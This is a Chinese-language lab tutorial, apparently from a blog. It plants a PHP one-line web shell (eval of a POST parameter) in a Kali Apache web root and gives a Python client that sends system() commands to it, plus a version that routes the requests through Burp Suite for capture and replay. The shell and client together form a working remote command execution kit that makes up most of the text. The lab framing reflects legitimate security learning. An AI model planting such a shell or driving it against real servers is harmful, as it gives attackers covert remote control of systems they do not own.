准备好web环境
Kali 中已经有 Apache 了,在 /etc 目录下 ls 即可显示出来,所以只需要进行配置就可以了。(这里用其他 Linux 或 Windows 虚拟机都行)
打开 apache 服务的相关命令
/etc/init.d/apache2 start (开启)
/etc/init.d/apache2 restart (重启)
/etc/init.d/apache2 status (查看状态)
这里在 Kali 的浏览器中输入 Kali 的 IP,可以发现已经启动apache。
在Kali的web根目录写一个一句话木马,这里就用PHP的一句话木马。
<?php @eval($_POST['shell']);?>
shell 变量用于接收 python 代码传过来的字符串。
eval() 函数将接收的字符串当作命令执行。
测试代码
import requests
url = str(input('目标URL:'))
passwd = str(input('连接密码:')) # 其实就是一句话木马中的变量shell
cmd = str(input('执行命令:'))
# 将命令传给一句话木马
payload = {
passwd: "system(\'" + cmd + "\');"
}
# 向目标url发送post请求
response = requests.post(url=url, data=payload, timeout=3)
# 回显命令执行的结果
print(response.text)
测试结果
使用burpsuite抓包
import requests
url = str(input('目标URL:'))
passwd = str(input('连接密码:')) # 其实就是一句话木马中的变量shell
cmd = str(input('执行命令:'))
# 将命令传给一句话木马
payload = {
passwd: "system(\'" + cmd + "\');"
}
# 使用burpsuite对python的post请求抓包
proxy = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
# 向目标url发送post请求
response = requests.post(url=url, data=payload, proxies=proxy, timeout=3)
# 回显命令执行的结果
print(response.text)
开启 burpsuite 抓包,运行 python 代码。
重放该 post 请求。
使用 burpsuite 自带的工具解码
解码之后,结果如下。
将 ls 命令改为 ifconfig 命令,结果如下。